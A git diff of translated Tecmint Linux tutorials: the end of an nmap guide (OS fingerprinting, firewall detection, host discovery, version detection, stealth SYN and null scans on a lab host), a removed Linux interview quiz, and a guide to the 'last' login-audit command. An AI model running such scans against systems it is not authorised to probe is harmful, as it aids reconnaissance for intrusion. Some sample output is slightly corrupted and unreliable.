No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
|
||||
TCP/IP fingerprint:
|
||||
SInfo(V=4.11%P=i686-redhat-linux-gnu%D=11/11%Tm=52814B66%O=22%C=1%M=080027)
|
||||
TSeq(Class=TR%IPID=Z%TS=1000HZ)
|
||||
T1(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
|
||||
T2(Resp=N)
|
||||
T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
|
||||
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
|
||||
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
|
||||
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
|
||||
T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
|
||||
PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
|
||||
|
||||
Uptime 0.169 days (since Mon Nov 11 12:22:15 2013)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 22.271 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
In above Output, you can see that nmap is came up with TCP/IP fingerprint of the OS running on remote hosts and being more specific about the port and services running on the remote hosts.
|
||||
|
||||
### 10. Enable OS Detection with Nmap ###
|
||||
|
||||
Use the option “-O” and “-osscan-guess” also helps to discover OS information.
|
||||
|
||||
[root@server1 ~]# nmap -O server2.tecmint.com
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:40 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
|
||||
TCP/IP fingerprint:
|
||||
SInfo(V=4.11%P=i686-redhat-linux-gnu%D=11/11%Tm=52815CF4%O=22%C=1%M=080027)
|
||||
TSeq(Class=TR%IPID=Z%TS=1000HZ)
|
||||
T1(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
|
||||
T2(Resp=N)
|
||||
T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
|
||||
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=Option -O and -osscan-guess also helps to discover OSR%Ops=)
|
||||
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
|
||||
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
|
||||
T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
|
||||
PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
|
||||
|
||||
Uptime 0.221 days (since Mon Nov 11 12:22:16 2013)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 11.064 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 11. Scan a Host to Detect Firewall ###
|
||||
|
||||
The below command will perform a scan on a remote host to detect if any packet filters or Firewall is used by host.
|
||||
|
||||
[root@server1 ~]# nmap -sA 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:27 EST
|
||||
All 1680 scanned ports on server2.tecmint.com (192.168.0.101) are UNfiltered
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.382 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 12. Scan a Host to check its protected by Firewall ###
|
||||
|
||||
To scan a host if it is protected by any packet filtering software or Firewalls.
|
||||
|
||||
[root@server1 ~]# nmap -PN 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:30 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.399 seconds
|
||||
|
||||
### 13. Find out Live hosts in a Network ###
|
||||
|
||||
With the help of “**-sP**” option we can simply check which hosts are live and up in Network, with this option nmap skips port detection and other things.
|
||||
|
||||
[root@server1 ~]# nmap -sP 192.168.0.*
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 11:01 EST
|
||||
Host server1.tecmint.com (192.168.0.100) appears to be up.
|
||||
Host server2.tecmint.com (192.168.0.101) appears to be up.
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
Nmap finished: 256 IP addresses (2 hosts up) scanned in 5.109 seconds
|
||||
|
||||
### 14. Perform a Fast Scan ###
|
||||
|
||||
You can perform a fast scan with “**-F**” option to scans for the ports listed in the nmap-services files and leaves all other ports.
|
||||
|
||||
[root@server1 ~]# nmap -F 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:47 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1234 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.322 seconds
|
||||
|
||||
### 15. Find Nmap version ###
|
||||
|
||||
You can find out Nmap version you are running on your machine with “**-V**” option.
|
||||
|
||||
[root@server1 ~]# nmap -V
|
||||
|
||||
Nmap version 4.11 ( http://www.insecure.org/nmap/ )
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 16. Scan Ports Consecutively ###
|
||||
|
||||
Use the “**-r**” flag to don’t randomize.
|
||||
|
||||
[root@server1 ~]# nmap -r 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 16:52 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.363 seconds
|
||||
|
||||
17. Print Host interfaces and Routes
|
||||
|
||||
You can find out host interface and route information with nmap by using “**–iflist**” option.
|
||||
|
||||
[root@server1 ~]# nmap --iflist
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:07 EST
|
||||
************************INTERFACES************************
|
||||
DEV (SHORT) IP/MASK TYPE UP MAC
|
||||
lo (lo) 127.0.0.1/8 loopback up
|
||||
eth0 (eth0) 192.168.0.100/24 ethernet up 08:00:27:11:C7:89
|
||||
|
||||
**************************ROUTES**************************
|
||||
DST/MASK DEV GATEWAY
|
||||
192.168.0.0/0 eth0
|
||||
169.254.0.0/0 eth0
|
||||
|
||||
In above output, you can see that map is listing interfaces attached to your system and their respective routes.
|
||||
|
||||
### 18. Scan for specific Port ###
|
||||
|
||||
There are various options to discover ports on remote machine with Nmap. You can specify the port you want nmap to scan with “**-p**” option, by default nmap scans only **TCP** ports.
|
||||
|
||||
[root@server1 ~]# nmap -p 80 server2.tecmint.com
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:12 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) sca
|
||||
|
||||
### 19. Scan a TCP Port ###
|
||||
|
||||
You can also specify specific port types and numbers with nmap to scan.
|
||||
|
||||
[root@server1 ~]# nmap -p T:8888,80 server2.tecmint.com
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:15 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.157 seconds
|
||||
|
||||
### 20. Scan a UDP Port ###
|
||||
|
||||
[root@server1 ~]# nmap -sU 53 server2.tecmint.com
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:15 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
PORT STATE SERVICE
|
||||
53/udp open http
|
||||
8888/udp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.157 seconds
|
||||
|
||||
### 21. Scan Multiple Ports ###
|
||||
|
||||
You can also scan multiple ports using option “**-p**“.
|
||||
|
||||
[root@server1 ~]# nmap -p 80,443 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-18 10:56 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
443/tcp closed https
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.190 seconds
|
||||
|
||||
### 22. Scan Ports by Network Range ###
|
||||
|
||||
You can scan ports with ranges using expressions.
|
||||
|
||||
[root@server1 ~]# nmap -p 80-160 192.168.0.101
|
||||
|
||||
### 23. Find Host Services version Numbers ###
|
||||
|
||||
We can find out service’s versions which are running on remote hosts with “**-sV**” option.
|
||||
|
||||
[root@server1 ~]# nmap -sV 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:48 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
|
||||
80/tcp open http Apache httpd 2.2.3 ((CentOS))
|
||||
111/tcp open rpcbind 2 (rpc #100000)
|
||||
957/tcp open status 1 (rpc #100024)
|
||||
3306/tcp open mysql MySQL (unauthorized)
|
||||
8888/tcp open http lighttpd 1.4.32
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 12.624 seconds
|
||||
|
||||
#### 24. Scan remote hosts using TCP ACK (PA) and TCP Syn (PS) ####
|
||||
|
||||
Sometimes packet filtering firewalls blocks standard **ICMP** ping requests, in that case, we can use **TCP ACK** and **TCP Syn** methods to scan remote hosts.
|
||||
|
||||
[root@server1 ~]# nmap -PS 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 17:51 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.360 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 25. Scan Remote host for specific ports with TCP ACK ###
|
||||
|
||||
[root@server1 ~]# nmap -PA -p 22,80 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:02 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.166 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 26. Scan Remote host for specific ports with TCP Syn ###
|
||||
|
||||
[root@server1 ~]# nmap -PS -p 22,80 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:08 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.165 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 27. Perform a stealthy Scan ###
|
||||
|
||||
[root@server1 ~]# nmap -sS 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:10 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.383 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 28. Check most commonly used Ports with TCP Syn ###
|
||||
|
||||
[root@server1 ~]# nmap -sT 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 18:12 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
957/tcp open unknown
|
||||
3306/tcp open mysql
|
||||
8888/tcp open sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 0.406 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
### 29. Perform a tcp null scan to fool a firewall ###
|
||||
|
||||
[root@server1 ~]# nmap -sN 192.168.0.101
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-11-11 19:01 EST
|
||||
Interesting ports on server2.tecmint.com (192.168.0.101):
|
||||
Not shown: 1674 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open|filtered ssh
|
||||
80/tcp open|filtered http
|
||||
111/tcp open|filtered rpcbind
|
||||
957/tcp open|filtered unknown
|
||||
3306/tcp open|filtered mysql
|
||||
8888/tcp open|filtered sun-answerbook
|
||||
MAC Address: 08:00:27:D9:8E:D7 (Cadmus Computer Systems)
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 1.584 seconds
|
||||
You have new mail in /var/spool/mail/root
|
||||
|
||||
That’s it with **NMAP** for now, I’ll be coming up more creative options of **NMAP** in our second part of this serious. Till then, stay tuned with us and don’t forget to share your valuable comments.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/nmap-command-examples/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/20-linux-yum-yellowdog-updater-modified-commands-for-package-mangement/
|
||||
[2]:http://www.tecmint.com/useful-basic-commands-of-apt-get-and-apt-cache-for-package-management/
|
||||
@ -1,166 +0,0 @@
|
||||
translated by coolpigs
|
||||
|
||||
Basic Linux Interview Questions and Answers – Part II
|
||||
================================================================================
|
||||
Continuing the Interview Series, we are giving 10 Questions here, in this article. These questions and the questions in the future articles doesn’t necessarily means they were asked in any interview. We are presenting you an interactive learning platform through these kind of posts, which surely will be helpful.
|
||||
|
||||
|
||||
|
||||
Upon the analysis of comments in different forums on last article [11 Basic Linux Interview Questions][1] of this series, it is important to mention here that to bring up a quality article to our readers. We give our time and money, and in return what we expect from you? Nothing. If you can’t praise our work, please don’t demoralize us from your negative comments.
|
||||
|
||||
If you find nothing new in a post, don’t forget that for someone it was helpful, and for that he/she was thankful. We can’t make everyone happy in each of our article. Hope you readers would take pain to understand this.
|
||||
|
||||
### Q.1: Which command is used to record a user login session in a file? ###
|
||||
|
||||
- macro
|
||||
- read
|
||||
- script
|
||||
- record
|
||||
- sessionrecord
|
||||
|
||||
> **Answer** : The ‘script’ command is used to record a user’s login session in a file. Script command can be implemented in a shell script or can directly be used in terminal. Here is an example which records everything between script and exit.
|
||||
|
||||
Let’s record the user’s login session with script command as shown.
|
||||
|
||||
[root@tecmint ~]# script my-session-record.txt
|
||||
|
||||
Script started, file is my-session-record.txt
|
||||
|
||||
The content of log file ‘my-session-record.txt’ can be views as:
|
||||
|
||||
[root@tecmint ~]# nano my-session-record.txt
|
||||
|
||||
script started on Friday 22 November 2013 08:19:01 PM IST
|
||||
[root@tecmint ~]# ls
|
||||
^[[0m^[[01;34mBinary^[[0m ^[[01;34mDocuments^[[0m ^[[01;34mMusic^[[0m $
|
||||
^[[01;34mDesktop^[[0m ^[[01;34mDownloads^[[0m my-session-record.txt ^[[01;34$
|
||||
|
||||
### Q.2: The kernel log message can be viewed using which of the following command? ###
|
||||
|
||||
- dmesg
|
||||
- kernel
|
||||
- ls -i
|
||||
- uname
|
||||
- None of the above
|
||||
|
||||
> **Answer** : The kernel log message can be viewed by executing 'dmesg' command. In the list kernel is not a valid Linux command, 'ls -i' lists the file with inode within the working directory and 'uname' command shows os.
|
||||
|
||||
[root@tecmint ~]# dmesg
|
||||
|
||||
Initializing cgroup subsys cpuset
|
||||
Initializing cgroup subsys cpu
|
||||
Linux version 2.6.32-279.el6.i686 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Jun 22 10:59:55 UTC 2012
|
||||
KERNEL supported cpus:
|
||||
Intel GenuineIntel
|
||||
AMD AuthenticAMD
|
||||
NSC Geode by NSC
|
||||
Cyrix CyrixInstead
|
||||
Centaur CentaurHauls
|
||||
Transmeta GenuineTMx86
|
||||
Transmeta TransmetaCPU
|
||||
UMC UMC UMC UMC
|
||||
Disabled fast string operations
|
||||
BIOS-provided physical RAM map:
|
||||
...
|
||||
|
||||
### Q.3: Which command is used to display the release of Linux Kernel? ###
|
||||
|
||||
- uname -v
|
||||
- uname -r
|
||||
- uname -m
|
||||
- uname -n
|
||||
- uname -o
|
||||
|
||||
> **Answer** : The command ‘uname -r’ display the kernel release information. The switch ‘-v’ , ‘-m’ , ‘-n’ , ‘o’ display kernel version, machine hardware name, network node, hostname and operating system, respectively.
|
||||
|
||||
[root@tecmint ~]# uname -r
|
||||
|
||||
2.6.32-279.el6.i686
|
||||
|
||||
### Q.4: Which command is used to identify the types of file? ###
|
||||
|
||||
- type
|
||||
- info
|
||||
- file
|
||||
- which
|
||||
- ls
|
||||
|
||||
> **Answer** : The ‘file’ command is used to identify the types of file. The syntax is ‘file [option] File_name’.
|
||||
|
||||
[root@tecmint ~]# file wtop
|
||||
|
||||
wtop: POSIX shell script text executable
|
||||
|
||||
### Q.5: Which command locate the binary, source and man page of a command? ###
|
||||
|
||||
> **Answer** : The ‘whereis’ command comes to rescue here. The ‘whereis’ command locate the binary, source, and manual page files for a command.
|
||||
|
||||
[root@tecmint ~]# whereis /usr/bin/ftp
|
||||
|
||||
ftp: /usr/bin/ftp /usr/share/man/man1/ftp.1.gz
|
||||
|
||||
### Q.6: When a user login, which files are called for user profile, by default?? ###
|
||||
|
||||
> **Answer** : The ‘.profile’ and ‘.bashrc’ present under home directory are called for user profile by default.
|
||||
|
||||
[root@tecmint ~]# ls -al
|
||||
-rw-r--r--. 1 tecmint tecmint 176 May 11 2012 .bash_profile
|
||||
-rw-r--r--. 1 tecmint tecmint 124 May 11 2012 .bashrc
|
||||
|
||||
### ###Q.7: The ‘resolve.conf’ file is a configuration file for?
|
||||
|
||||
> **Answer** : The ‘/etc/resolve.conf’ is the configuration file for DNS at client side.
|
||||
|
||||
[root@tecmint ~]# cat /etc/resolv.conf
|
||||
|
||||
nameserver 172.16.16.94
|
||||
|
||||
### Q.8: Which command is used to create soft link of a file? ###
|
||||
|
||||
- ln
|
||||
- ln -s
|
||||
- link
|
||||
- link -soft
|
||||
- None of the above
|
||||
|
||||
> **Answer** : The ‘ln -s’ command is used to create soft link of a file in Linux Environment.
|
||||
|
||||
[root@tecmint ~]# ln -s /etc/httpd/conf/httpd.conf httpd.original.conf
|
||||
|
||||
### Q.9: The command ‘pwd’ is an alias of command ‘passwd’ in Linux? ###
|
||||
|
||||
> **Answer** : No! The command ‘pwd’ is not an alias of command ‘passwd’ by default. ‘pwd’ stands for ‘print working directory’, which shows current directory and ‘passwd is used to change the password of user account in Linux.
|
||||
|
||||
[root@tecmint ~]# pwd
|
||||
|
||||
/home/tecmint
|
||||
|
||||
[root@tecmint ~]# passwd
|
||||
Changing password for user root.
|
||||
New password:
|
||||
Retype new password:
|
||||
|
||||
### Q.10: How will you check pci devices vendor and version on a Linux? ###
|
||||
|
||||
> **Answer** : The Linux command ‘lspci’ comes to rescue here.
|
||||
|
||||
[root@tecmint ~]# lspci
|
||||
|
||||
00:00.0 Host bridge: Intel Corporation 5000P Chipset Memory Controller Hub (rev b1)
|
||||
00:02.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 2-3 (rev b1)
|
||||
00:04.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 4-5 (rev b1)
|
||||
00:06.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 6-7 (rev b1)
|
||||
00:08.0 System peripheral: Intel Corporation 5000 Series Chipset DMA Engine (rev b1)
|
||||
...
|
||||
|
||||
That’s all for now. I hope these above questions might be very helpful to you. In our next weekend we again come-up with some new set of questions. Till then stay healthy, tuned and connected to Tecmint.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers-part-ii/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/basic-linux-interview-questions-and-answers/
|
||||
181
sources/Built in Audit Trail Tool – Last Command in Linux.md
Normal file
181
sources/Built in Audit Trail Tool – Last Command in Linux.md
Normal file
@ -0,0 +1,181 @@
|
||||
(whatever1992 ing)
|
||||
Built in Audit Trail Tool – Last Command in Linux
|
||||
================================================================================
|
||||
|
||||
|
||||
If you are working as a server administrator, you may understand that you have to protect your server. Not only from the outside, but you have to protect it from the inside. Linux has one built-in command to see who is the last logged in user into your server.
|
||||
|
||||
The command is **last**. This command is **very useful for audit trail**. Let’s start to see what can last to do for you.
|
||||
|
||||
### What is the function of Last command ###
|
||||
|
||||
**Last** display a list of all user logged in (and out) from **/var/log/wtmp** since the file was created. This file is binary file which cannot view by text editor such as Vi, Joe or another else. This trick is pretty smart because user (or root) can not modify the file as they want.
|
||||
|
||||
Last gives you information the name of all users logged in, its tty, IP Address (if the user doing a remote connection) date – time, and how long the user logged in.
|
||||
|
||||
### How to run Last ###
|
||||
|
||||
You just need to type **last** on your console. Here’s the sample :
|
||||
|
||||
$ last
|
||||
|
||||
leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53)
|
||||
pungki tty1 Mon Dec 2 09:31 still logged in
|
||||
reboot system boot 2.6.32-358.23.2 Mon Dec 2 09:20 - 13:25 (04:05)
|
||||
|
||||
Here’s how to read last information :
|
||||
|
||||
- The first column tell who are the user
|
||||
- The second column give us information about how the user is connected
|
||||
|
||||
> pts/0 (pseudo terminal) means that the user connect via remote connections such as SSH or telnet
|
||||
>
|
||||
> tty (teletypewriter) means that the user connect via direct connection to the computer or local terminal
|
||||
>
|
||||
> Exception for reboot activity the status will be shown is system boot
|
||||
|
||||
- The third column **show where the user come from**. If the user connect from remote computer, you will see a hostname or an IP Address. If you see :0.0 or nothing it means that the user is connect via local terminal. Exception for reboot activity, the kernel version will be shown as the status
|
||||
- The remaining columns display **when the log activity has happened**. Numbers in the bracket tell us how many hours and minutes the connection was happened
|
||||
|
||||
### Some examples of Last command on day-to-day operation ###
|
||||
|
||||
#### Limit the number of line shown ####
|
||||
|
||||
When you have a lot of lines to show, you can limit how many lines do you want to see. Use **-n parameter** to do it.
|
||||
|
||||
$ last -n 3
|
||||
|
||||
leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53)
|
||||
pungki tty1 Mon Dec 2 09:31 still logged in
|
||||
reboot system boot 2.6.32-358.23.2 Mon Dec 2 09:20 - 13:25 (04:05)
|
||||
|
||||
**-n parameter** will make last command to display 3 lines starting from the current time and backwards
|
||||
|
||||
#### Don’t display the hostname ####
|
||||
|
||||
Use **-R parameter** to do is. Here’s the sample :
|
||||
|
||||
$ last -R
|
||||
|
||||
leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53)
|
||||
pungki tty1 Mon Dec 2 09:31 still logged in
|
||||
reboot system boot Mon Dec 2 09:20 - 13:25 (04:05)
|
||||
|
||||
As you see, now there is no information about hostname or IP Address
|
||||
|
||||
#### Display the hostname in the last column ####
|
||||
|
||||
To do this, we can use **-a parameter**
|
||||
|
||||
$ last -a
|
||||
|
||||
leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) 10.0.76.162
|
||||
pungki tty1 Mon Dec 2 09:31 still logged in :0.0
|
||||
reboot system boot Mon Dec 2 09:20 - 13:25 (04:05) 2.6.32-358.23.2.el6.i686
|
||||
|
||||
Now the hostname information such as 10.0.76.162 will be placed in the last column.
|
||||
|
||||
#### Print full login and logout time and dates ####
|
||||
|
||||
You can use **-F parameter** for this. Here’s a sample.
|
||||
|
||||
$ last -F
|
||||
|
||||
leni pts/0 10.0.76.162 Mon Dec 2 12:32:24 2013 – Mon Dec 2013 13:25:24 2013 (00:53)
|
||||
|
||||
#### Print specific user name ####
|
||||
|
||||
If you want to trace specific user, you can print it specifically. Put the name of user behind last command.
|
||||
|
||||
$ last leni
|
||||
|
||||
leni tty1 Mon Dec 2 18-42 still logged in
|
||||
leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) 10.0.76.162
|
||||
|
||||
Or if you want to know when **reboot** is done, you can also display it
|
||||
|
||||
$ last reboot
|
||||
|
||||
reboot system boot Mon Dec 2 09:20 - 16:55 (07:34)
|
||||
reboot system boot Sun Dec 1 04:26 - 04:27 (00:01)
|
||||
reboot system boot Wed Nov 27 20:27 - 01:24 (04:57)
|
||||
reboot system boot Tue Nov 26 21:06 - 06:13 (09:06)
|
||||
|
||||
#### Print spesific tty / pts ####
|
||||
|
||||
Last can also print information about specific tty / pts. Just put the tty name or pty name behind the last command. Here are some sample outputs :
|
||||
|
||||
$ last tty1
|
||||
|
||||
pungki tty1 Mon Dec 2 09:31 still logged in
|
||||
pungki tty1 Mon Dec 2 04:26 – down (00:00)
|
||||
pungki tty1 Mon Dec 2 04:07 – down (00:00)
|
||||
pungki tty1 Sun Dec 1 18:55 – 04:07 (09:12)
|
||||
|
||||
$ last pts/0
|
||||
|
||||
leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53)
|
||||
pungki pts/0 :0.0 Wed Nov 27 20:28 – down (04:56)
|
||||
|
||||
When you see **down value** – such as the second line above – , it means that the user was logged in from specific time until the system is reboot or shutdown.
|
||||
|
||||
#### Use another file than /var/log/wtmp ####
|
||||
|
||||
By default, last command will parse information from **/var/log/wtmp**. If you want t**he last command** parse from another file, you can use **-f parameter**. For example, you may rotate the log after a certain condition. Let’s say the previous file is named **/var/log/wtmp.1** . Then the last command will be like this.
|
||||
|
||||
$ last -f /var/log/wtmp.1
|
||||
|
||||
#### Display the run level changes ####
|
||||
|
||||
There is **-x parameter** if you want to display run level changes. Here’s a sample output :
|
||||
|
||||
pungki tty1 Mon Dec 2 19:21 still logged in
|
||||
